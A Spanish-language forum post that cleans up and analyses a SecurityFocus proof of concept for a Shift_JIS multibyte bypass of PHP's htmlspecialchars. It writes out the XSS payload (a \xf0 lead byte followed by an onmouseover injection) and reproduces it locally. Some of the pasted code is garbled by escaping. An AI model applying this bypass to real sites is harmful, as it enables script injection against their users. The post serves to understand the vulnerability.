A ver que alguien me explique xD que para el nivel web estoy bien n00b xD
Si todos nacieran sabiendo las cosas no existirían las escuelas o universidades.
El problema es que securityfocus es demasiado automatizado por lo tanto cuando alguien ingresa un código los escapan con caracteres especiales para que se puedan ver pero no se dan cuenta si alguien mas escapó los carácteres o no, en fin...
http://downloads.securityfocus.com/vulnerabilities/exploits/37389-2.phpAcá aparece una chorrera de código ilegible asi que lo primero que se ve es que son carácteres escapados como para visualizar en una página asi que seleccionamos todo y lo metemos en un solo archivo x.html y nos queda esto:
<? php $ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc ã§å¯èƒ½ $ _GET [ 'A1'] =
"\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ ' a2 ' ] = " href=dummy onmouseover=
alert(document.title) dummy=dummy "; $ _GET [ 'A2'] = "href = dummy onmouseover
= alert (document.title) dummy = dummy"; header ( " Content-Type:text/html; charset =Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html >
<Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test
</ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo
htmlspecialchars ( $ _GET
[ ' a1 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " title = "
<? php
echo ( $ _GET [ ' a2 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " > test </ a ></ p > href = "<? php echo
htmlspecialchars ($ _GET
[ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p> </ body >
</ Body> </ html > </ Html>
Ahora, aun así es un desmadre porque hay espacios en blanco, no hay saltos de linea, no sabes donde termina un comentario, securityfocus repite los tags asi que bueno... lo limpié bastante y al final quedó así:
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
header("Content-Type:text/html; charset=Shift_JIS"); ?>
<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
<a
test
</ a >
</p>
</body>
</html>
Ahora, en mi localhost al reproducir ese código y al pasar el mouse sobre el enlace aparece un alert mostrando el título, eso es código de ejecución por el lado del cliente porque se puede bypasear el htmlspecialchars, pero ¿SJIS?.
Todo indica que la vulnerabilidad está en el tipo de codificación SJIS ya que también se declara en el header, pero hagamos esto:
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
$_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
?>
<html>
<head>
<title>Shift_JIS test</title>
</head>
<body>
<p>
<a
test
</ a >
</p>
</body>
</html>
También se ejecuta sin la necesidad de ese tipo de codificación en especial imprimiendo "ð" al inicio de la variable, eso hace que se invalide el siguiente string que le si8gue, en este caso las comillas dobles que encerraban a title y ahora href=" pasa a cerrar title formando parte de el dejando paso a la ejecución que le des en href con la variable a2.